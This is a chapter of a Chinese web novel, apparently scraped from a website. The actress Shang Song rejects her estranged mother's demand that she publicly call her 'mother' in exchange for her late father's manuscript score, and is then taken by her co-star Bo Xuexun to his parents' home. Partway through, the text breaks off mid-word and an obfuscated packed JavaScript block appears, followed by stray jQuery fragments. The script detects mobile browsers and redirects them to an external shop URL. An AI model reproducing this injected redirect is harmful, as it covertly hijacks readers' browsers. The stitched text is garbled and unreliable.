74. 第 74 章
作品:《声色犬马》 十六集的第二季《诱罪:薄如蝉翼》彻底收官,莲的结局让剧迷们纷纷骂编剧脑残,甚至有人要求出第三季复仇本,可是莲已经死了,茶的出现无疑是第二个莲,也间接说明,这种罪恶是源源不断的,薄如蝉翼又坚如后盾。
众人直呼不过瘾。
【现在回顾之前伯雪寻和商颂的宣传微博真的觉得别有深意啊,伯雪寻遍体鳞伤爬向心脏滴血的商颂时,那眼神真的影帝级别,太痛心了,为什么一定要Be啊!】
【编剧第三季快写啊!写莲复活,和陈不渡联手收拾茶和东浮梁啊!求求你了!我出不来!他们又怎么出得来!】
【伯雪寻绝对深爱商颂,剧宣的直播就是最好证明,他真的好爱啊,商颂也在避嫌,不和他眼神接触,明明也是在乎的。】
【编剧给红莲和绿茶这两名字,本就是蕴含满满的恶意啊!】
【寻颂cp就像剧中的莲和陈不渡的床戏,一开始震惊全网,后来食髓知味,等细细去看,才发现那竟然是唯一一场。】
【《染上你的绯色》、我给你的是时间磨灭不了的爱情、咽下禁果的是你也是我……】
与此同时,这股热潮也像是某种信号,惊动了沉睡在岁月淤泥下的魑魅魍魉。
一场由某顶级时尚刊物主编做东的私人慈善晚宴在京郊的雁栖湖畔举行。这里没有闪光灯的围猎,只有更加森严的等级和更加赤裸的名利交换。
商颂身着一件由周彻亲手缝制的暗夜蓝天鹅绒长裙,裙摆如深海波涛般在脚边铺陈,背后是大胆的镂空设计,露出那一对振翅欲飞的蝴蝶骨和若隐若现的红色纹身。她手中晃着半杯色泽瑰丽的红酒,眼神漫不经心地掠过场内那些戴着假面的名流。
周彻今晚没来,他在欧洲处理那个足以动摇周家根基的并购案。没了这层明面上的“金主”压阵,商颂周围的空气却依然冷得让人不敢轻易靠近。那是她这一路厮杀出来的、生人勿近的气场。
直到一阵似曾相识的幽香袭来。
那不是市面上任何一款流行的香水,而是一种极为古老、繁复,混合了晚香玉、沉香和一点点腐败气息的冷调香氛。这味道,像是童年噩梦里那条勒得人窒息的绸缎被子。
商颂端着酒杯的手指猛地一紧。
“商颂。”
商颂慢慢转过身。
在她面前三步之遥,站着一个女人。
如果不仔细看,旁人或许会以为这是商颂的姐姐。那女人穿着一身剪裁极佳的珍珠白高定旗袍,肩上披着名贵的雪貂披肩。她保养得极好,皮肤在灯光下泛着细腻的光泽,眼角眉梢的风情比二十几岁的少女还要浓烈几分。那双与商颂如出一辙、却更加圆滑世故的桃花眼里,此刻正含着一种让人遍体生寒的笑意。
容漓。
那个在商颂五岁那年,卷走了家里所有值钱的东西,将年幼的女儿和丈夫的遗照一同抛弃在那个雷雨夜的女人。
也是如今名动京港两地、游走在顶级富豪圈的“社交名媛”——容漓夫人。
“好久不见。”容漓微微歪了歪头,视线像探照灯一样在商颂身上上下扫视,带着一种评估货物价值般的挑剔与满意,“我的女儿,终于长大了。长得比我想象中还要值钱。”
“让开。”商颂的声音没有任何起伏,“我和你没有叙旧的必要。”
“别这么绝情嘛。”容漓并没有因为她的冷漠而退缩,反而优雅地上前一步,高跟鞋在羊毛地毯上发出闷响,“听说你最近很缺钱?未来娱乐的那些所谓‘自由’,应该烧得你很心疼吧?”
她伸手,想要去触碰商颂的脸颊。那只手上戴着一颗硕大的翡翠戒指,绿得像是一只贪婪的眼睛。
商颂猛地后退半步,避开了那只手,眼底的厌恶几乎要溢出来:“我的钱,是用命换来的。不像某些人,是用身体和良心换的。”
容漓的手悬在半空,她不仅没有生气,反而轻笑出声,收回手,漫不经心地理了理披肩。
“在这个圈子里,用什么换的并不重要,重要的是你最后手里握着什么。”
她从那个精致的鳄鱼皮手包里,极其缓慢地,掏出了一个略显陈旧的牛皮纸信封。信封的边角已经磨损,看起来有些年头了,但被保存得异常平整。
“商颂,你应该还记得你那个死鬼老爸商恂吧?”容漓的指尖轻轻在信封上点了点,像是在敲击某种节奏,“那个烂酒鬼,一辈子除了喝酒就是做那些不切实际的音乐梦,直到被车撞死也没混出个人样,甚至没钱给你买一件新衣服。”
商颂的瞳孔骤然收缩。
“但是啊,”容漓轻笑一声,“他虽然不是个好东西,但他对你的严厉倒是真的。要不是他那时候发了疯一样拿着皮带逼你练钢琴,把你的手指都要打断了也不让你下琴凳,你现在哪来这双能弹能写的手?哪来这能当饭吃的才华?”
商颂的身体开始微微颤抖。
记忆像黑色的潮水倒灌。阴暗的出租屋,满地的空酒瓶,父亲商恂醉醺醺的怒吼声,还有琴盖重重砸在她手指上的剧痛。
“弹!给我弹!老子这辈子废了,你必须给我弹出来!”
那是她的噩梦,也是她唯一从那个破碎家庭里继承下来的武器。
“这是什么?”商颂的声音开始发颤,那是她极力压制的情绪。
“绝笔。”容漓微笑着,缓缓抽出了信封里的一叠乐谱。
那纸张已经泛黄,但上面清瘦潦草的笔迹,以及那一个个像是眼泪般晕染开的音符,瞬间击穿了商颂所有的防线。
那是《流星》。商恂在车祸前一个月,没日没夜在阁楼里创作的、却从未有机会发表的交响组曲。那是在他酒精中毒清醒的间隙,留给女儿最后的一点光。
“这东西,当年我走的时候随手带走了,本来以为是张废纸。”容漓晃了晃手中的乐谱,“没想到啊,这几年音乐界开始流行什么‘复古风潮’、‘遗珠发掘’。好几个著名的交响乐团和制作人都来找过我,开价不低。”
“把它给我!”商颂猛地伸手去抢,却被容漓灵活地避开。
“别急啊。”容漓退后一步,脸上的笑容愈发灿烂,也愈发残忍,“我是商人,不做亏本的买卖。这东西虽然是你爸的,但现在所有权在我手里。”
她将乐谱重新塞回信封,像是在逗弄一只渴望食物的小狗。
“想要?”容漓看着商颂那双通红的眼睛,“很简单。”
“这周末是我的生日宴。几个传媒界的大佬都会来。”她微微俯身,身上那股浓郁的香气瞬间笼罩了商颂。
“你打扮得漂漂亮亮地过来。在所有人面前,在那个生日蛋糕推出来的时候,叫我一声‘妈妈’,再敬我一杯茶。”
“只要这一声‘妈’叫得我满意了,这叠废纸,我就送给你当回礼。”
“怎么样?这笔买卖,够划算吧?”
这哪里是认亲?这是一场彻头彻尾的羞辱。
她要商颂用自己如今在娱乐圈正如日中天的名声,去给她在那个富豪圈层里镀一层金。她要向所有人炫耀:看,哪怕我当年抛夫弃女,如今那个高高在上的顶流女王,依然得乖乖跪在我面前喊妈。
商颂死死盯着那张保养得宜却写满了贪婪与算计的脸。她感到一阵前所未有的恶心,那是比在泥潭里打滚还要令人窒息的肮脏感。
她想起父亲商恂,那个虽然暴躁酗酒却在教她弹下第一个音符时流过泪的男人。那个用扭曲的方式爱她却也毁了她童年的男人。
他的心血,他最后的灵魂,竟然成了这个女人手里待价而沽的筹码。
“容漓。”商颂深吸一口气,指甲掐进了掌心的肉里,痛觉让她保持着最后的清醒。
“你这辈子,是不是从来没有爱过任何人?包括那个被你称作丈夫的男人,包括那个你肚子里掉下来的肉?”
“爱?”容漓像是听到了什么笑话,掩唇而笑,“小颂,在这个名利场里,爱是最廉价的奢侈品。我有美貌,我有手段,我现在拥有的财富和地位,就是对我最好的‘爱’。”
“倒是你,”她怜悯地看着商颂,“守着那个小爱豆,还要去演什么独立女性的戏码,不累吗?”
“你给我闭嘴!”
商颂猛地抬手,打翻了旁边侍者托盘里的一杯红酒。猩红的酒液泼洒在地上,像是一摊触目惊心的血。
“我是累。”
商颂眼眶通红,泪水在眼眶里打转,却倔强地不肯落下。
“但我这身皮肉,这身骨头,是我自己一寸一寸拼起来的。我为了活着,给魔鬼递过刀,给资本跪过地,甚至为了这口气把自己卖了个干净。”
“但是容漓,你给我听清楚了。”
商颂向前一步,逼视着这个所谓的“母亲”,那种从骨子里透出的野性和骄傲,让容漓那一身珠光宝气都显得黯淡无光。
“我就算是把灵魂卖给了魔鬼,我也绝不会把我爸的骨灰,卖给你这种陌生人换那一声令人作呕的‘妈’。”
“那个乐谱,你想卖给谁就卖给谁。你想烧了也随你。”
商颂的声音哽咽了一下,却又瞬间变得坚硬如铁。
“因为我爸的歌,因为他那个酒鬼逼着我练的一千个日夜,那些音符早就刻在我脑子里,嵌在我骨头缝里了。他留给我的痛和才华,从来不需要你的施舍才能看见。”
“拿着你的脏东西,滚。”
说完,商颂没有再给容漓任何说话的机会。她转身,提着那条像深海般的长裙,头也不回地冲出了宴会厅。
冲进寒风凛冽的夜色里,冲进那一片并没有星星的黑暗中。
她的眼泪终于决堤而下。
好疼。
心口好疼。那种被至亲之人背叛、被当作筹码反复践踏的疼痛,比断骨还要难受。
她以为自己已经刀枪不入了。她以为自己已经变成了无坚不摧的女王。
可原来,在这个名为“家”的字眼面前,她依然是那个五岁那年,看着空荡荡的房子和喝醉了的父亲,在雨夜里绝望的小女孩。
“去哪?”
商颂茫然地看着街头的车流。回酒店?回公司那个虽然热闹却充满了商业算计的“窝”?
好像哪里都不是家。哪里都透着一股子要跟她做交易的铜臭味。
“嗡.”
一辆并不算起眼的黑色越野车嚣张地压着实线,在那禁止停车的区域猛地刹住,发出一声刺耳的轮胎摩擦声。
车窗降下,露出那张哪怕是在路灯昏暗的光线下,依旧让人心悸的侧脸。
伯雪寻戴着顶黑色的鸭舌帽,没看镜头,也没看周围有没有狗仔。他侧过头,看着在那风口里冻得像只瑟瑟发抖的鹌鹑一样的商颂。
“上车。”
两个字,言简意赅,没有多余的询问,像是早就预料到了这个结局。
商颂拉开车门,坐进了副驾驶。车里暖气开得很足,夹杂着他身上那股熟悉的雪松和淡淡的薄荷烟草味。
“去哪?”商颂系好安全带,声音还有些哑。
伯雪寻没有立刻发动车子。他侧身过来,那种压迫感瞬间逼近。他没有说话,只是伸出温热的指腹,粗鲁又温柔地将她眼角那滴还没来得及干透的泪痕狠狠擦去。
“去一个没有‘商颂’的地方。”
他收回手,一脚油门轰到底。
“咱们回家。”
三个小时后。北京大兴机场。
当商颂看到那两张飞往南嵘的红眼航班机票时,她整个人僵在了安检口。
南嵘。
那是四川盆地边缘一个湿润、雾气蒙蒙的三线小城。
是伯雪寻的故
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17431617|196108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乡。
也是她商颂那个不愿提及的、充满了父亲醉酒怒骂和母亲背影的出生地。
“你要带我去哪?”商颂捏着机票,眼神复杂,“你想看我在那个伤心地发疯吗?”
“谁说是去伤心的?”
伯雪寻从后面揽住她的肩膀,将她推进了安检通道。
“商颂,你记住。从今天起,南嵘不是那个抛弃你的城市。”
他在她耳边低语,声音带着某种蛊惑人心的笃定。
“那是把你送到我面前的城市。”
“而且,我想让你看看,正常的爹妈,应该是长什么样的。”
飞机落地时,南嵘正下着淅淅沥沥的小雨。
这里的空气不像北京那么干冽,而是带着一种黏糊糊的、混杂着火锅底料和桂花香气的潮湿感。吸进肺里,像是在肺泡上敷了一层热毛巾。
没有豪华保姆车,也没有闪光灯。
只有一辆伯雪寻叫的网约车,司机是个操着一口正宗南嵘方言的大叔,车里放着震天响的凤凰传奇。
车子在蜿蜒的老城区街道穿行,最后停在了一个建于九十年代的家属院门口。
红砖墙上爬满了爬山虎,门口的大爷正摇着蒲扇跟狗说话,空气里飘着邻居家炒回锅肉的油烟味。
这里很破,很旧,却有着一种即使是在最顶级的摄影棚里也还原不出来的——烟火气。
“到了。”
伯雪寻推开车门,从后备箱里拎出那个简陋的行李包。他今天没穿那身扎眼的高定,而是一件简单的黑色T恤和工装裤,甚至连那种身为顶流的气场都收敛了起来,像个刚放学回家的混小子。
商颂站在单元楼下,看着那昏黄的楼道灯,脚步有些迟疑。
“伯雪寻,我这副样子?”
她看了一眼自己身上那件虽然换过了、但依然透着大牌质感的风衣,还有脸上那为了掩盖憔悴而有些厚重的妆。
“怕什么?”伯雪寻拉过她的手,十指相扣,那个力道让她想逃都逃不掉。
“在他们眼里,你不是什么大明星。”
“你就是他们那不成器的儿子的心尖肉。”
“咚咚咚。”
防盗门被敲响。
门还没完全打开,里面就传来了一个中气十足的女人声音:“是不是那个龟儿子回来了?我不让你带钥匙的吗?非要敲敲敲!”
门“吱呀”一声开了。
一个穿着碎花围裙、手里还拿着锅铲的中年女人出现在门口。她并不精致,脸上有着岁月留下的细纹,头发随意地用鲨鱼夹盘在脑后,身上是一股浓郁的、让人想要流泪的豆瓣酱香味。
这是伯雪寻的母亲,崔红英女士。
她原本准备好的骂骂咧咧,在看到伯雪寻牵着的那个人时,像是被按下了暂停键。
“妈,这是商颂。”
伯雪寻把他那个平时在外人面前总是拽得二五八万的头低了下去,语气里带着一种从未有过的乖顺和某种隐秘的骄傲。
“我给您带回来了。”
崔红英愣了整整三秒。
然后,她的目光从伯雪寻身上移开,直直地落在了商颂身上。她没有像那些粉丝一样尖叫,也没有像那些势利眼一样打量商颂身上的名牌。
她的眼神里,只有一种纯粹的慈爱和惊艳。
“哎呀!你可算来了!我早就想见见你,结果这龟儿子都不安排!”
崔红英一把丢了锅铲,根本不顾手上的油烟味,直接两步跨上前,拉住了商颂另一只手。
“哎哟,这手怎么这么凉?是不是穿太少了?我就说这倒春寒最冻人,那个臭小子也不知道给你带件厚衣服!”
她一边数落着伯雪寻,一边不由分说地把商颂往屋里拽。
“快进屋!快进屋!你爸那个老古董还在那儿研究什么菜谱,我这就让他给你切水果!这脸白的,肯定是累着了……”
商颂被那双温暖、粗糙、甚至有点油腻的手紧紧握着。
那种热度,顺着手掌的纹路,一直烫到了她的心里。
屋子里并不大,三室一厅的老格局。家具都有些年头了,沙发套是洗得发白的棉麻布,茶几上堆满了瓜子花生和各种乱七八糟的遥控器。电视里正在放着某个并不好笑的综艺节目。
但这屋子很暖和。不是地暖那种干燥的热,而是一种被人气填满的热乎劲儿。
厨房里探出一个脑袋,是个戴着老花镜、略微发福的中年男人——伯爸爸,伯鸿业。他手里拿着一把菜刀,看着门口的阵仗,扶了扶眼镜,憨厚地笑了笑:“回来啦?马上就好,最后一道粉蒸肉。”
没有什么隆重的欢迎仪式。
也没有什么因为她是明星就变得拘谨的尴尬。
一切都自然得像是她只是出去买了瓶酱油,然后顺便回家吃个饭。
这顿饭,是商颂这辈子吃过最“拥挤”的一顿饭。
桌子不大,四个人围坐在一起,膝盖都能碰到膝盖。
菜式极其丰盛,或者说,极其“扎实”。红亮油润的毛血旺、香气扑鼻的回锅肉、软糯咸鲜的粉蒸肉,还有一盘明显是特意加的清炒时蔬。
“来来来,闺女,吃这个。”
崔红英不停地往商颂碗里夹菜,那种热情简直让人招架不住。她的筷子在红油里翻滚,最后精准地挑出了一块最肥美的肥肠,放在了商颂那个已经堆成小山的碗里。
商颂看着那块肥肠。
她其实很多年没吃过这种东西了。自从做了练习生,为了身材管理,她的食谱里只有沙拉和水煮鸡胸肉。苏曼如果看到这一桌子高油高盐的碳水炸弹,估计会当场晕过去。
但商颂拿起筷子。
她夹起那块肥肠,放进嘴里。
软糯,弹牙,充满了让人沉沦的香味。

